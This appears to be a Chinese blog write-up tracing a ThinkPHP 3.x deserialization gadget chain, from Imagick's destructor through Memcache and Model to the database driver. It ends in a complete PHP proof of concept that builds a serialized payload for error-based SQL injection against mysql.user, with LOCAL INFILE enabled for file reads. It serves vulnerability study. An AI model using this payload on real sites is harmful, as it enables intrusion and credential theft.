[TOC]
模板解析导致RCE
sql注入&反序列化
找链子
自己从 0 到 1去找是不可能的,只能抄抄文章这样子。大概写写,别的师傅写的很详细了
反序列化一般都是从 __destruct() 作为入口,这里找到 /ThinkPHP/Library/Think/Image/Driver/Imagick.class.php

接着回溯 destroy() ,在 /ThinkPHP/Library/Think/Session/Driver/Memcache.class.php,这个 $handle 可控,传入参数部分可控
这个方法是有参的,但是上面的析构方法并未给他传参,这个方式在 PHP5 的时候是被允许的,只报 wring,PHP7 不行

再回溯 delete() 找到 /ThinkPHP/Library/Think/Model.class.php ,捡重要的说
这里 pk 可控,options 是前面传进来的参数,也可控,当传入值为空值时会进入 第二层 if ,那它又会调用自身,由于 pk 可控那也就是 delete() 方法的参数完全可控,delete() 再往下看


这里 $options['where'] 不能为空,也就是 $this->data[$pk]['where'] 不能为空,接着进入 驱动类的 delete()

来到:/ThinkPHP/Library/Think/Db/Driver.class.php
这里只需要控制 $table 即可控制 $sql ,因为 parseTable() 没有过滤任何东西



然后来到 execute() ,开头有 初始化操作,跟进去

通过控制 config['deploy'] 为非空使程序进入 $this->connect()

到这里就找到了一个可以连接任意数据库的链子了

抄 POC
POC 来源 参考文章,懒得写了,有轮子hhh
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启才能读取文件
);
protected $config = array(
"debug" => 1,
"database" => "thinkphp3",
"hostname" => "127.0.0.1",
"hostport" => "3306",
"charset" => "utf8",
"username" => "root",
"password" => ""
);
}
}
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;
public function __construct(){
$this->handle = new Model();
}
}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;
public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "mysql.user where 1=updatexml(1,user(),1)#",
"where" => "1=1"
);
}
}
}
namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}